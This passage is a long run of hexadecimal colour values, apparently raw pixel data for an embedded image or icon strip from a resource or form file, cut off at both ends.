C0FFC0C0C0FFBFBFBEFFBFBFBFFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF3B50A7FF3455EAFF3454E5FF3453\n      E5FF3354E5FF3554E5FF3554E5FF3554E5FF3554E5FF3554E5FF3554E5FF3354\n      E5FF3453E5FF3354E5FF3454EDFF576493FFAE9B23FFF8D707FFF5D207FFF4D2\n      08FFF4D208FFF4D208FFF4D208FFF4D208FFF4D208FFF4D208FFF4D208FFF4D2\n      08FFF5D208FFF5D207FFFBD907FF988E49FF2B742CFF149816FF159616FF1496\n      17FF159517FF159717FF159517FF159517FF159517FF159517FF159517FF1495\n      17FF149617FF139616FF149A17FF4E774EFF2D66A6FF2237DEFF2044DEFF2146\n      DEFF2046DEFF2144DEFF214CE0FF10F5FFFF10F6FFFF2148DFFF2145DEFF2046\n      DEFF2146DEFF2044DEFF2239E1FF4F6E92FF3E48A3FF3346D5FF3546D3FF3647\n      D3FF3748D3FF3748D3FF3748D3FF3748D3FF3748D3FF3748D3FF3748D3FF3748\n      D3FF3647D3FF3546D3FF3446D7FF565E94FFAD9623FFE8BF0AFFE4BC0CFFE5BD\n      0DFFE5BD0CFFE5BD0EFFE5BD0EFFE5BD0EFFE5BD0EFFE5BD0EFFE5BD0EFFE5BD\n      0CFFE5BD0DFFE4BC0BFFEAC008FF9A8C49FF2A722FFF12881BFF14881DFF1589\n      1EFF16891FFF16891FFF15891FFF13871DFF15891EFF16891FFF16891FFF1589\n      1FFF15891EFF14881DFF128A1BFF4C764DFF2AB8BCFF19B8F5FF2732D1FF2836\n      D1FF293DD3FF293DD3FF2A2DCFFF19DDFAFF1AD8F9FF2A2ECFFF293DD3FF293D\n      D3FF2836D1FF2733D1FF1ABFF8FF4A9DA0FF3D429DFF343ACEFF363CCCFF373D\n      CCFF383ECDFF383ECDFF383ECDFF383ECDFF383ECDFF383ECDFF383ECDFF363E\n      CDFF373DCCFF363BCCFF333AD1FF575B8FFFA88B23FFE4B308FFE1B20AFFE1B1\n      0CFFE1B10DFFE1B10DFFE1B10DFFE1B10DFFE1B10DFFE1B10DFFE1B10DFFE1B1\n      0DFFE1B10CFFE1B20AFFE6B607FF968549FF266C2FFF10821EFF128120FF1383\n      22FF148222FF0E801DFF077916FF228A2FFF0B7C1BFF0B7C1AFF148222FF1282\n      22FF138322FF108220FF0F831DFF4D7250FF354CA2FF1CBDF4FF1AEDFCFF2954\n      D9FF2F28D0FF2E35D3FF2F2AD0FF21B5EFFF21B0EDFF2F2AD0FF2E35D3FF2F28\n      D0FF2958DAFF18EEFEFF1DBAF7FF536291FF3D3A9BFF332FCFFF3432CCFF3533\n      CCFF3732CCFF3632CCFF3634CCFF3633CCFF3633CCFF3634CCFF3632CCFF3732\n      CCFF3533CCFF3532CBFF3230D0FF58588DFFA7841FFFE1A903FFDFA605FFDFA7\n      07FFDFA708FFDFA708FFDFA708FFDFA708FFDFA708FFDFA708FFDFA708FFDFA7\n      08FFDFA707FFDFA605FFE4AA02FF948047FF266831FF0C7A20FF107A23FF117B\n      22FF0A781EFF42974FFFADD1B1FFBFDAC1FFB6D5B8FF6AAD72FF067519FF107B\n      24FF117A23FF107922FF0D7C1FFF4A6F50FF3A359DFF2F1ACFFF2D46D7FF23C6\n      F4FF279CEAFF3222CDFF3323CEFF298BE6FF2986E4FF3323CEFF3222CDFF27A1\n      EBFF23C3F3FF2D41D6FF301BD2FF55538DFF4C6520FF4D7500FF4D7300FF4E76\n      00FF4E7600FF4F7700FF4F7700FF4F7700FF4F7700FF4F7700FF4F7700FF4E76\n      00FF4E7500FF4C7400FF4D7500FF5F6D47FFBBBEC8FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9EA0A5FF266632FF0B7821FF0F7722FF0E78\n      23FF0A7520FF8BBB92FF93C09BFF469654FF88BA8EFF8EBD95FF2B893CFF0D76\n      22FF107824FF0D7723FF0B7920FF496E50FF3C2E9BFF301CD0FF321BCEFF3312\n      CAFF3148D6FF289CEAFF3237D2FF2981E5FF2B7AE4FF3239D3FF289CEAFF3144\n      D6FF3313CAFF321ACCFF301BD3FF564E8CFF4C6224FF4F740CFF4D700DFF4B70\n      0EFF4E7210FF4E7210FF4E7210FF4E7210FF4E7210FF4E7210FF4E7210FF4C71\n      0FFF4D700EFF4B6F0CFF4A7009FF5F6B49FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF256733FF0E7C26FF107824FF0C76\n      21FF288739FFFFFFFFFFFFFFFFFFF4F8F4FFFFFFFFFFFFFFFFFF68AA73FF0874\n      1DFF107924FF0E7823FF0B7920FF496E50FF3395B2FF28B3F3FF279BEAFF298A\n      E5FF2C71E0FF2F54D9FF2A82E5FF21E9FCFF21EAFCFF2A7CE4FF2F56DAFF2C72\n      E0FF288AE5FF259CEAFF21B3F6FF50899AFF4C6325FF52760EFF547611FF5275\n      10FF4D700EFF4C700EFF4D710FFF4E710FFF4E710FFF4E710FFF4E720FFF4C70\n      0EFF4D6F0DFF4B6F0BFF4A7008FF5F6B49FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF266833FF108128FF13812BFF137C\n      2AFF06731AFF62A56DFF539C5EFFFFFFFFFF8ABB92FF69AA74FF0F7822FF0F77\n      23FF107924FF0E7823FF0B7920FF496E50FF348CB1FF2CA4F0FF2F90E7FF307D\n      E4FF2D5FDBFF3043D5FF2982E5FF21EBFCFF21EBFDFF2A7BE4FF3144D5FF2E61\n      DCFF2B77E2FF288BE6FF24A1F2FF508399FF506020FF5A7400FF5A7201FF5B74\n      03FF5D7605FF597302FF546E00FF516A00FF506B00FF506B00FF506B00FF506A\n      00FF4F6900FF4E6700FF506A00FF606947FFC3C4B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA2A29EFF266935FF11842BFF15842EFF1783\n      2DFF1D8E48FF097B25FF4D9D5CFFFFFFFFFF81B78AFF006B0FFF148544FF0F77\n      21FF0F7722FF0C7621FF0B7920FF4A6E50FF3F329CFF3C28D5FF3E27D2FF401F\n      CFFF3B65DEFF30A5ECFF3731D2FF2A75E2FF2972E1FF312ED1FF27A0EBFF2C57\n      DAFF3311CBFF311ACBFF2F1DD3FF564F8CFF2E98C7FF23CCFFFF25C9FFFF27C9\n      FFFF28CAFFFF28CBFFFF28CBFFFF29CBFFFF28CAFFFF25C9FFFF24C9FFFF24C9\n      FFFF24C9FFFF25C9FFFF23CFFFFF4F8AA5FF3533B0FF312DF3FF312FEFFF3230\n      EFFF3331EFFF3331EFFF3331EFFF3331EFFF3230EFFF2F2DEFFF2E2CEFFF2E2C\n      EFFF2E2CEFFF2E2CEFFF302EF6FF515198FF286A35FF12882FFF168531FF1887\n      32FF17852FFF1F904BFF13842BFF229661FF0C7D21FF20904FFF15822AFF1784\n      2FFF16852FFF158531FF118A2FFF4A7053FF3F369EFF4024D5FF3A5FDEFF30D9\n      F8FF3891E8FF432BD2FF4330D3FF3997E9FF3891E8FF402CD2FF3F27D1FF3495\n      E9FF2ED4F7FF3A5CDDFF4026D8FF58538EFF3292B8FF2AC6FFFF2CC4FDFF2EC3\n      FDFF2FC3FDFF2FC3FDFF2FC3FDFF2FC3FDFF2FC3FDFF2FC4FDFF2FC4FDFF2EC4\n      FDFF2EC4FDFF2BC4FDFF29C9FFFF50869EFF4141B1FF4643F6FF4745F2FF4846\n      F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947F2FF4947\n      F2FF4846F2FF4745F2FF4644F9FF585899FF266A35FF128931FF168933FF198A\n      34FF1A8A35FF198933FF1A8934FF198A37FF1A8A34FF198933FF1A8A35FF198A\n      35FF188934FF168933FF128B30FF497051FF3C53A5FF2ED4FBFF2EE5FBFF414C\n      DBFF4331D4FF443CD7FF4530D4FF35BDF2FF36B7F1FF4531D4FF443CD7FF4431\n      D4FF404FDBFF2EE8FBFF30D2FDFF556391FF3192B8FF27C7FFFF28C5FDFF2AC6\n      FDFF2CC6FDFF2BC6FDFF2BC6FDFF2BC6FDFF2BC6FDFF2BC6FDFF2BC6FDFF2CC6\n      FDFF2AC5FDFF28C5FDFF27CAFFFF4E869CFF4140B1FF4644F6FF4644F2FF4845\n      F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846F2FF4846\n      F2FF4745F2FF4643F2FF4644F9FF575797FF246B34FF0E8B2FFF118931FF138A\n      32FF148A33FF148A33FF148A33FF148A32FF148A33FF148A33FF148A33FF148A\n      33FF138A32FF11892FFF0D8C30FF486E52FF31B6B9FF33A7F2FF422AD3FF4236\n      D6FF423AD7FF423AD7FF442AD3FF2EE1FBFF30DEF9FF442AD4FF423AD7FF423A\n      D7FF4235D6FF412BD4FF32AEF5FF4E9C9DFF3A98BFFF48D0FFFF45CCFFFF47CD\n      FFFF46CDFFFF46CDFFFF46CDFFFF46CDFFFF46CDFFFF46CDFFFF46CDFFFF46CD\n      FFFF47CDFFFF46CCFFFF47D0FFFF5C95ACFF4948B7FF605FF9FF5D5BF5FF5E5C\n      F5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5CF5FF5E5C\n      F5FF5E5CF5FF5D5BF6FF605DF9FF6464A7FF32703EFF369B4EFF35994CFF3699\n      4DFF36984DFF369A4DFF369A4DFF369A4DFF369A4DFF379A4DFF369A4DFF3698\n      4DFF36994DFF34994CFF359B4CFF557C5DFF445CA9FF5D47DDFF5951DDFF5A53\n      DDFF5A53DDFF5A53DCFF595BDEFF48F2FFFF48F3FFFF5B56DDFF5A53DCFF5A53\n      DDFF5A53DDFF5951DDFF5D47DEFF616C9FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0BFC0FFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFF4D971EFF54CD00FF53CA01FF52CA\n      02FF54C901FF54C901FF54C901FF54C901FF54C901FF54C901FF54C901FF54C9\n      01FF53CA02FF53CA01FF55CF00FF618B47FF3F2A96FF3008E3FF2F08DDFF3009\n      DEFF2F0ADEFF2F0ADEFF2F0ADEFF2F0ADEFF2F0ADEFF2F0ADEFF2F0ADEFF2F08\n      DEFF3009DEFF2F08DDFF3008E4FF55498CFF44971EFF41CD00FF41CA01FF41CA\n      02FF41C901FF41C901FF41C901FF41C901FF41C901FF41C901FF41C901FF41C9\n      01FF42CA02FF41CA01FF42CF00FF5C8B47FF3846ACFF2D42F3FF2D41EEFF2D41\n      EEFF2D42EEFF2E42EEFF2E42EEFF2E42EEFF2E42EEFF2E42EEFF2E42EEFF2D42\n      EEFF2D41EEFF2D42EFFF2E43F6FF545D97FF4D8F1FFF4FB504FF4FB307FF51B3\n      08FF51B309FF51B309FF51B309FF51B309FF51B309FF51B309FF51B309FF51B3\n      09FF50B308FF4FB207FF50B605FF618845FFBFC2B2FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA8ABA0FF448F1FFF3CB504FF3EB307FF3FB3\n      08FF40B309FF40B309FF40B309FF40B309FF40B309FF40B309FF40B309FF40B3\n      09FF3FB308FF3EB207FF3DB605FF5A8845FF393EA9FF2D32DFFF2E34DCFF2F35\n      DCFF3035DCFF3035DCFF3035DCFF3035DCFF3035DCFF3035DCFF3035DCFF3035\n      DCFF2F35DCFF2E32DCFF2E32E2FF545897FF46821FFF44A300FF45A100FF46A3\n      00FF46A301FF46A301FF47A402FF4CA806FF4BA805FF47A301FF46A301FF46A3\n      01FF45A300FF44A200FF44A500FF5C7E46FF473498FF3D19DBFF3D1AD8FF3E1B\n      D8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1CD8FF3E1C\n      D8FF3E1BD8FF3D1AD8FF3D19DDFF5B4E91FF418622FF3AA708FF3CA60AFF3DA7\n      0BFF3EA70CFF3EA70CFF3EA70CFF3EA70CFF3EA70CFF3EA70CFF3EA70CFF3CA7\n      0CFF3DA70BFF3CA608FF3AA907FF5A8148FF3935A2FF2D27D9FF2F28D5FF3129\n      D7FF312BD6FF312AD6FF322AD6FF322AD6FF322AD6FF322AD6FF312AD6FF312B\n      D6FF3129D7FF2F29D5FF2E26DBFF555493FF7C9B66FFA0CC7AFF9ECA7AFF9FCA\n      7BFF9FCA7BFFA1CB7CFFA5CF83FF699747FF73A051FFAAD588FF9FCA7BFF9FCA\n      7BFF9FCA7BFF9ECA7AFFA2CF7BFF7C8C6EFFA3A1ACFFEFEBFFFFEAE7F9FFEBE8\n      F9FFEBE8FBFFEBE8FBFFEBE8FBFFEBE8FBFFEBE8FBFFEBE8FBFFEBE8FBFFEBE8\n      FBFFEBE8F9FFEAE7F9FFF1EDFFFF96969DFF3F7C23FF389E09FF3A9D0CFF3A9E\n      0EFF3C9E0EFF3B9E0FFF3B9E0FFF3B9E0FFF3B9E0FFF3B9E0FFF3B9E0FFF3C9E\n      0EFF3B9E0EFF389D0CFF38A009FF5A7B49FF382F9EFF2D1CD5FF301FD3FF3121\n      D2FF3121D2FF3021D2FF3021D2FF3021D2FF3021D2FF3021D2FF3021D2FF3121\n      D2FF3120D2FF2F1FD1FF2C1DD8FF55508FFFBFBDC2FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFF2F2B33FF3C373FFF332F37FF5F5C63FFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA1A0A2FF64589EFF755BE7FF735AE2FF745B\n      E3FF745CE3FF745CE3FF745CE3FF745CE3FF745CE3FF745CE3FF745CE3FF745C\n      E3FF745BE3FF735AE2FF755AE9FF6D6494FF3F7B25FF379A0AFF38990DFF399A\n      0DFF3A9A0FFF3C9A10FF3C9A10FF3C9A10FF3C9A10FF3C9A10FF3C9A10FF3A9A\n      0FFF3A9A0EFF37990CFF379B09FF587949FF3A2C9EFF2C18D3FF2F1BD1FF301C\n      D1FF301DD1FF321ED1FF311ED1FF311ED1FF311ED1FF311ED1FF321ED1FF301D\n      D1FF311CD1FF2E1AD0FF2C18D6FF554E8DFFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFF7F7F7FF000000FF171717FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF8981ACFFBBADFEFFB6A9F9FFB6AB\n      F9FFB7ABF9FFB8ABF6FFB8ABEFFFB8ABEFFFB8ABEFFFB8ABEFFFB8ABEFFFB8AB\n      EFFFB7AAEFFFB7AAF0FFBBAEF7FF848099FF407A24FF3C9F0CFF3A9A0DFF3A9A\n      0EFF3C9B10FF3C9B10FF3C9B10FF3C9B10FF3C9B10FF3C9B10FF3C9B10FF3B9B\n      0FFF3A9B0EFF389A0CFF379C09FF587A49FF372CA5FF2D1BE1FF2B1BDEFF2A1B\n      DCFF2C1CDCFF2B1CDCFF2B1CDCFF2B1CDCFF2B1CDCFF2B1CDCFF2B1CDCFF2C1C\n      DDFF2A1BDDFF2A19DDFF2717E2FF544E92FFB9B9B9FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF656565FFA6A6A6FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF9E9E9EFF887E71FFBAAB92FFB7AA91FFB9AA\n      92FFB5A88CFFB1A2A7FFAA9AF3FFAA9AEDFFAA9AEDFFAA9AEDFFAA9AEDFFAA9A\n      EDFFA99AEDFFA999EDFFAC9CF4FF7E7A98FF417B25FF40A00EFF419F11FF409E\n      11FF3B990FFF3A9A0FFF3B9A0FFF3B9B10FF3C9B10FF3C9B10FF3C9B10FF3B9B\n      0FFF3A9B0EFF389A0CFF379C09FF587A49FF743F20FF953D00FF963C00FF993B\n      00FF953800FF913500FF8E3800FF8E3800FF8E3900FF8E3900FF8E3900FF8E39\n      00FF8F3600FF8E3600FF903400FF755847FFBEC2C3FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFF656C6EFFAEB5B7FFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA0A2A2FF4F3C29FF532F03FF4B2600FF4C28\n      00FF533003FF5F3F40FF8871F4FF846CE5FF846CE5FF846CE5FF846DE5FF846B\n      E5FF836BE6FF816AE4FF856BEBFF716995FF437B25FF43A40FFF43A212FF46A2\n      14FF47A215FF44A014FF3E9C11FF3B990EFF3A990FFF3A990FFF3A990FFF3999\n      0EFF389A0DFF36980BFF379C09FF587A49FF703F25FF913C0BFF7A5133FF4747\n      3DFF46473EFF6A5E4DFF8D360AFF85360EFF85350FFF85350FFF85350FFF8534\n      0EFF84330DFF83320BFF883209FF725849FF986659FFCC8168FFC98168FFC980\n      69FFC9826AFFC9826AFFCA836BFFC67C67FFCC836CFFCA826BFFC9826AFFC982\n      6AFFC98169FFC98067FFCE8168FF8A6E67FF54422DFF542F01FFBFB2A3FFB7A8\n      97FF533003FF83674FFFE8E4FFFFE0DAF9FFE0DAF9FFE0DAF9FFE0DAF9FFE0DA\n      F9FFE0DAF9FFE1DBF9FFE6E0FFFF93919CFF437C26FF47A610FF48A413FF49A4\n      16FF4AA317FF4AA417FF4AA417FF4BA417FF49A316FF47A215FF46A215FF46A2\n      15FF46A214FF46A312FF48A90FFF5A7A49FF713F26FF983A04FF4796A4FF46C6\n      E4FF42B1CAFF3AB8D6FF8F4216FF934516FF914416FF904215FF8F4115FF8F41\n      15FF8F4114FF904112FF94420FFF735849FF823520FFAD3007FFAA320AFFAC33\n      0CFFAC340DFFAC340EFFAC340EFFAD350FFFAC340EFFAC340EFFAC340EFFAC34\n      0DFFAC330CFFAA310AFFAF3106FF7C5147FF54422CFF74562EFFF9F7F6FFECE8\n      E3FF6B4C20FF5F3E47FF5F3EEDFF5D3EDFFF5D3EDFFF5D3DDFFF5D3DDFFF5D3D\n      DFFF5E3DDFFF5C3CDFFF5E3CE7FF615591FF437D25FF49A810FF4AA613FF4BA5\n      15FF4CA716FF4CA717FF4CA717FF4CA717FF4CA717FF4CA717FF4CA717FF4CA7\n      16FF4BA615FF4AA613FF49AA0FFF5A7A49FF724025FF993E06FF4C8388FF3897\n      AEFF398A9EFF3B9EB5FF954311FF944616FF944717FF944717FF944717FF9447\n      16FF934615FF934513FF95440FFF735849FF853923FFB1380BFFAF380EFFB03A\n      10FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A11FFB03A\n      11FFB03910FFAF380EFFB3380AFF7D5447FF54432CFF5D3903FF7D6039FF6847\n      1AFF5C3706FF8F754DFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFA4A59EFF438023FF49A90BFF49A60EFF4BA8\n      10FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA811FF4BA8\n      11FF4AA810FF49A60EFF4AAB0AFF597847FF714023FF95440BFF9A3D03FF983F\n      06FF7C5432FF9E3D00FF954610FF944611FF944611FF944611FF944611FF9446\n      11FF944510FF93430EFF97440AFF735747FF8A4230FFBC5433FFB95231FFB853\n      33FFB85333FFB85333FFB85333FFB85333FFB85333FFB85333FFB85333FFB853\n      33FFB85333FFB95231FFBC5232FF8B6055FF594835FF785B33FF70552CFF7356\n      31FF74592EFF6E5160FF5E3DEEFF5E3DE2FF5E3DE2FF5E3DE2FF5E3DE2FF5E3D\n      E2FF5D3CE2FF5D3BE1FF5F3DE6FF65599DFF4B852FFF63B433FF60B231FF61B2\n      33FF61B233FF61B233FF61B233FF61B233FF61B233FF61B233FF61B233FF61B2\n      33FF61B233FF60B231FF61B432FF658855FF77482FFFA45F33FFA15C31FFA25C\n      33FFA45C30FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D33FFA25D\n      33FFA25C33FFA15B31FFA45D32FF816455FFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF\n      FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFBFBFBEFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0BFFFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFC0C0BFFFBFBFBFFFFFFFFFFFDADADAFFBFBFBFFFC0C0C0FFC0C0\n      C0FFC0C0C0FFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFBFBFBFFFC0C0\n      C0FFC0C0C0FFC0C0C0FFBFBFBFFFFFFFFFFFFFFFFFFFC4C4C4FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6C5FFC6C6\n      C5FFC6C6C5FFC6C6C5FFC3C3C3FFFFFFFFFF4636ACFF4329FBFF4329F6FF4429\n      F5FF4429F5FF4329F5FF4329F5FF4329F5FF4329F5FF4329F5FF4329F5FF4429\n      F5FF442AF5FF4329F6FF4429FCFF5C5495FF2C3CBEFF1C34FFFF1C34FFFF1B33\n      FFFF1C34FFFF1C34FFFF1C34FFFF1C34FFFF1C34FFFF1C34FFFF1C34FFFF1C34\n      FFFF1B33FFFF1A34FFFF1B33FFFF4C56A3FF3A3B97FF3331CAFF3330C7FF3331\n      